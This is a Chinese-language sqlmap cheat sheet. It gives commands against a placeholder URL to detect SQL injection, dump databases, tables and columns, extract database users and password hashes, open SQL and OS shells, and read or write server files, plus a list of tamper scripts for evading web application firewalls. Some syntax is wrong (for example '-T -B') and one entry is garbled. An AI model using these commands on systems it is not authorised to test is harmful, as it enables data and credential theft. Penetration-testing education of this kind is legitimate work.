SQLMAP命令操作

SQLMAP 基本操作

  1. 判断是否存在注入

    sqlmap.py -u “ http://url “ (注入点参数大于2时必须加双引号)

  2. 判断文本中的请求是否存在注入
    抓包获取http请求,将Web数据包存在test.txt

    sqlmap.py -r “test.txt”

  3. 查询当前用户下的所有数据库

    sqlmap.py -u “ http://url “ –dbs

  4. 查询当前用户下A数据库的数据表

    sqlmap.py -u “ http://url “ -D A –tables

  5. 查询当前用户下A数据库的B数据表的字段

    sqlmap.py -u “ http://url “ -D A -T -B –columns

  6. 查询查询当前用户下A数据库的B数据表的c1,c2字段的内容

    sqlmap.py -u “ http://url “ -D A -T -B -C c1,c2 –dump

  7. 获取数据库的所有用户

    sqlmap.py -u “ http://url “ –users

  8. 获取数据库用户的密码

    sqlmap.py -u “ http://url “ –passwords

  9. 获取当前数据库名称

    sqlmap.py -u “ http://url “ –current-db

  10. 获取当前数据库的用户名称

    sqlmap.py -u “ http://url “ –current-user

SQLMAP 进阶

命令参数使用

  1. 探测等级:--level 5
  2. 当前用户是否为管理权限:--is-dba
  3. 列出数据库管理员角色:--roles
  4. HTTP Referer 头:--referer
  5. 运行自定义SQL语句:--sql-shell
  6. 运行任意操作系统命令:--os-cmd --os-shell
  7. 从数据库服务器中读取文件:--file-read
  8. 上传文件到数据库服务器中:--file-write --file-dest

tamper 参数使用

格式: sqlmap.py -u “ http://url “ –tamper “模块名”
常用 tamper 脚本

  • apostrophemask.py
    将引号替换为UTF-8,用于过滤单引号
  • base64encode.py
    替换为 base64编码
  • multipleaspace.py
    围绕 SQL 关键字添加多个空格
  • space2plus.py
    +号替换空格
  • nonrecurisvereplacement.py
    作为双重查询语句,用双重语句替代预定义sql关键字
  • space2randomblank.py
    将空格替换为其他有效字符
  • unionalltounion.py
    union all select替换为union select
  • securesphere.py
    追加特制字符串
    使用前:1 and 1=1
    使用后:1 and 1=1 and ‘0having=0having’
  • space2hash.py
    将空格替换为#号,并添加一个随机字符串和换行符
  • space2mssqlblank.py(mssql)
    将空格替换为其他空符号
  • space2mssqlhash.py
    将空格替换为#号,并添加一个换行符
  • between.py
    not between 0 and 替换大于号(>),用between and替换等号(=
  • percentage.py
    ASP 欲奴再每个字符前面添加一个%
  • sp_password.py
    从DBMS日志的自动模糊处理的有效载荷中追加sp_password
  • charencode.py
    对给定的payload全部字符使用url编码(已经编码字符串不处理)
  • randomcase.py
    随机大小写
  • charunicodeencode.py
    字符串Unicode编码
  • space2comment.py
    将空格替换为/**/
  • equaltolike.py
    将等号替换为like
  • greatest.py
    绕过对>号的过滤,用greatest替换>
  • ifnull2ifisnull.py
    绕过对ifnull的过滤,替换类似ifnull(a,b)为if(isnull(a),b,a)
  • modsecurityversioned.py
    过滤空格,使用mysql内联注释的方式进行注入
  • space2mysqlblank.py
    将空格替换为其他空白符号(mysql)
  • modsecurityzeroversioned.py
    使用mysql内联注释的方式进行注入(mysql5.0)
  • space2mysqldash.py
    将空格替换为--,并添加一个换行符
  • bluecoat.py
    sql语句之后用有效的随机空白符替换空格符,随后用like替换=
  • versionedkeywords.py
    注释绕过
  • halfversionedmorekeywords.py
    当数据库为mysql时绕过防火墙,再每个关键字之前添加mysql版本注释
  • space2morehash.py
    将空格替换为#号,并添加一个随机字符串和换行符
  • apostrophenullencode.py
    用非法双字节Unicode字符替换单引号
  • appendnullbyte.py
    在有效负荷的结束为止加载零字节字符编码
  • chardoubleencode.py
    对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
  • unmagicquotes.py
    用一个多字节组合(%bf%27)和末尾通用注释一起替换空格
  • randomcomments.py
    用/**/分割sql关键字